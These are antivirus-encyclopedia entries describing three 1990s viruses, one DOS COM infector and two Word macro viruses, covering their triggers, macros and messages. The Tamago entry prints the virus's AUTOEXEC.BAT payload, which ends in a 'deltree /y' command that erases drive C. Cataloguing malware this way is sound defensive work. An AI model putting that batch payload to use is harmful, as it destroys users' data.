Atenfor.2515
Description Atenfor.2515
This is a harmless, non-memory resident encrypted parasitic virus. It searches for COM files in the current directory, then writes itself to the beginning of the file. The virus encrypts the original bytes of the file. The virus contains the text strings:
FROmAaWTOCHie2
Happy ending??SoMEtIMEs.lOVE.JuST.aiN'T.EnOuGH!
ATENFOR.91
(C)AtenFOR.91.STMIK.BUDI.LUHUR.1993.INDONESIA
atenfor.com
Check other viruses! Be aware! Use Antiviral Software
Macro.Word.Talon.c
Description Macro.Word.Talon.c
This macro-virus contains five original macros that are copied with six different names while infecting the system and documents. All macros except the Info macro are encrypted.
Documents NORMAL.DOT
Macro1: FSAB FileSaveAs
FSAB
Macro2: AOB AOB
AutoOpen
Macro3: ToolsMacro ToolsMacro
Macro4: Info Info
Macro5: ToolsSpelling
The virus infects the global macros area upon opening an infected document (AutoOpen), and writes itself to files that are saved with new name (FileSaveAs).
Upon entering the Tools/Macro menu (ToolsMacro), the virus displays the following MessageBox:
Warning
This Option Is Not Available, Please Insert The MS-Office CD
And Install The Help Files To Continue.
In June on Mondays, the virus sets for documents the password "talon3" and displays Message Boxes:
Warning
I Have A Word For You To Spell V I R U S
Your document Has Just been Been Saved By The Word Macro Virus
Talon #3, I Hope You Know The Password!!!
Brought To You By Talon 1997
The Info macro contains the comments:
*********************************************
Talon #1
June 18 Payload Activates
Displays Message
All Files Encrypted Except Info File
Brought To You By
"Talon"
*********************************************
Macro.Word.Tamago
Description Macro.Word.Tamago
This macro virus affects the system on closing an infected documents and copies itself to documents are closed or saved with new name. It contains seven macros:
Documents NORMAL.DOT
AutoOp AutoOpen
AutoExec AutoExec
AutoClose AutoClose
UtilMacro UtilMacro
FerramMacro FerramMacro
ArquivoModelos ArquivoModelos
ArquivoSalvarComo ArquivoSalvarComo
The virus does not infect the system and documents, if Environment contains the string "TAMAGOXI=GMS" (virus author's self-protection?). In this case the virus displays the MessageBox:
(sLeEp ModE) TaMaGoXI bY WiZaRD: EtERnAl LoVE 2 mY LitTlE gIrL Gi
On 26 of any month the virus writes to the C:AUTOEXEC.BAT instructions that will display the message and delete all files on drive C:
@echo off
cls
echo.
echo.
echo.
echo SaLamA'S CoRP - AlL lEfTS ReSerVeD - 1997
echo TaMaGoXI bY WiZaRD***
echo ***
echo *
echo *
echo *************
echo * *
echo * **** **** *
echo * *
echo * ***** *
echo ***************
echo.
echo eXPecT nO MeRcY FRoM HiM
echo.
echo.
echo File' not found: Serve Alcatara Mane'? (S/N)
echo.
echo.
deltree /y c:*.* >nul
|